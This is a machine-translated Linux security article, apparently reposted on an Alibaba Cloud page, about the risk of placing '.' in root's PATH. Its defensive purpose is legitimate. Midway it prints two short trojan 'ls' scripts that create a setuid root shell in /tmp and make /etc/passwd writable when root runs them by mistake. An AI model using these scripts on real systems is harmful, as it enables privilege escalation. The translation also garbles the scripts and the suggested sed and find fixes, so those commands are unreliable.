Problems caused by Linux environment variable PATH
Source: Internet
Author: User
Article Title: problems caused by Linux environment variable PATH. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
This article describes the problems caused by "." In the LINUX environment variable PATH and several solutions.
As many people know, there is a directory list in the $ PATH environment variable. When a user wants to execute a program, the system will find the location of the program according to the content in the list. $ PATH takes effect when the program name is not preceded by a slash.
For normal users and root users, $ PATH does not include "." By default, to specify the current user directory. This is inconvenient for programmers who develop scripts on the local machine. People who want to save time add points to the search path, which is equivalent to setting up risks in your system.
For example, root adds a dot "." at the end of his current path for convenience. (The search directory indicates the current directory)
This is convenient. You can directly enter the script name for execution. OK. Normally, there is no problem at all, saving the trouble of inputting./foo. sh (foo. sh is the script file name I suppose ). Some root users add the PATH = $ PATH:. command to the profile so that all users can share the "Gospel" You bring to them ". Even the winner's root user is actually PATH =.: $ PATH (adding ":" To the PATH is another form ). Normally, there was no problem at all. One day, Michael handed down the script named lls in his home directory and told the root user that his system had a problem and he hoped the root user could solve the problem. (Actually a trap ). As soon as the Root user comes up, su becomes the administrator privilege, and the directory is listed more closely. Maybe the Administrator mistakenly typed lls ....
The following is a simple C shell example:
#! /Bin/csh
If (! -O/bin/su)
Goto finish
Cp/bin/sh/tmp/. sh
Chmod 7777/tmp/. sh
Finish:
Exec/bin/ls $ argv | grep-v ls
If it is slightly distorted, there will be a B shell
#! /Bin/sh
If chmod 666/etc/passwd>/dev/null 2> & 1; then
Cp/bin/sh/tmp/. sh
Chmod 4755/tmp/. sh
Fi
Exec ls "$ @"
If root includes the environment variable $ PATH ". "and its location is first associated with the system directory where ls is located. When you execute ls In/tmp, the above script is executed instead of the actual ls command, because the ls is finally executed, the root will not see any exceptions. If the script is executed by the root user, the password file is set to writable and the shell is copied to/tmp and saved. sh, and set its setuserid bit. All this happens very quietly.
In the above two programs, malicious people can write any programs that force the root user to jump to the building, and root users can drill down the hidden traps, maybe the root program is implemented without knowing it. There may be a script named ps in Michael's main directory containing a dangerous script. As soon as the root user enters ps, in this case, the system first searches the current directory, but the result/sbin/ps is not executed. There are many other tricks like this.
The Administrator should not be too nervous. Let's talk about the solution below.
First, we need to develop a good command line Input habit of entering absolute paths, so that "criminals" will not be multiplied. For example, it is best to use/bin/ls for the column directory, rather than inputting ls in a diagram.
Second, the root user (root) should not put ". "include to the list of search directories, and if a common user is ". "include the words in the search list, then ". "should be placed at the end of the search directory list. In this way, normal users will not be affected by the aforementioned.
Finally, you can add the following line at the end of the/etc/profile and bashrc. profile files at login.
[PATH = 'echo $ PATH | sed-e's/: //:/g; s /:.: //:/g; s /:. $ //; s/^ ://''
This simple sed command will delete all "." In the path, including its other form "::"
It can also be periodically executed by crontab call.
# Find /! -Fstype proc '('-name '.?? * '-O-name'. [^.] '')'> point.txt; mail-S' this is a pointlist 'root @ localhost <point.txt
To search for all files starting with a vertex, send them to the root mailbox, and then perform the comparison and other tasks.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service